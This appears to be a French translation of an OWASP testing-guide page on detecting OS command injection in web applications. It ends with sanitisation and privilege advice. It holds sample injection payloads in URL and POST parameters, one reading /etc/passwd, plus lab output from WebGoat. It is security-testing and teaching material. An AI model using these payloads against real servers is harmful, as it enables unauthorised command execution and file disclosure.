Table of Contents
Résumé
Cet article décrit comment tester une application pour détecter l'injection de commande OS. Nous essayons d'injecter une commande OS via une requête HTTP.
Description
L'injection de commande OS est une technique utilisée par l'intermédiaire d'une interface Web afin d'exécuter des commandes du système d'exploitation sur un serveur web.
L'utilisateur fournit des commandes du système d'exploitation via une interface Web afin d'exécuter ces commandes. Toute interface web qui n'est pas correctement filtré est soumis à cet exploit. Avec la possibilité d'exécuter des commandes du système d'exploitation, l'utilisateur peut télécharger des programmes malveillants ou même obtenir des mots de passe. L'injection de commandes OS est évitable lorsque la sécurité est prise en compte dès la conception et du développement d'applications.
Test boîte noire
Lors de l'affichage d'un fichier dans une application web, le nom du fichier est souvent indiqué dans l'URL. Perl permet de rediriger les données d'un processus vers un autre. L'utilisateur doit simplement ajouter le symbole pipe “|” à la fin du nom de fichier.
Exemple d'URL avant de modification:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Exemple d'URL modifiée:
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
Cela exécutera la commande “/bin/ls”.
En ajoutant un point-virgule à la fin de l'URL d'une page PHP suivie par une commande du système d'exploitation, la commande sera exécutée. %3B est l'encodage url du point-virgule
Exemple:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Exemple
Prenons le cas d'une application qui contient une série de documents que vous pouvez consulter à partir d'Internet. Si vous lancez WebScarab, vous pouvez obtenir un HTTP POST comme suit:
POST http://www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33 ... Doc=Doc1.pdf
Dans cette requête POST, nous remarquons la façon dont l'application récupère la documentation publique. Maintenant, nous pouvons tester si il est possible d'ajouter une commande du système d'exploitation à injecter dans le POST HTTP. Essayez ce qui suit:
POST http://www.example.com/public/doc HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://127.0.0.1/WebGoat/attack?Screen=20 Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5 Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Content-Type: application/x-www-form-urlencoded Content-length: 33 ... Doc=Doc1.pdf+|+Dir c:\
Si l'application ne contrôle pas la validité du contenu de la requête, on peut obtenir le résultat suivant:
Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0
Dans ce cas, nous avons réalisé avec succès une attaque par injection de commandes OS.
Test Boîte Grise
Désinfection.
Les données de l'URL et des formulaires doivent être désinfectés des caractères non valides. Une «liste noire» des caractères est une option, mais il peut être difficile de penser à tous les caractères. En outre il peut y avoir certains caractères qui n'ont pas été découverts pour le moment. Une «liste blanche» ne contenant que des caractères autorisés devraient être créés pour valider la saisie de l'utilisateur. Les caractères qui ont été oubliés, ainsi que les menaces inconnues, devraient être éliminés par cette liste.
Autorisations
L'application Web et ses composantes doivent être exécutés avec des privilèges strictes qui ne permettent pas l'exécution de commandes du système d'exploitation. Essayez de vérifier toutes ces informations.
Références
Livres Blancs
Outils
- OWASP WebScarab
- OWASP WebGoat
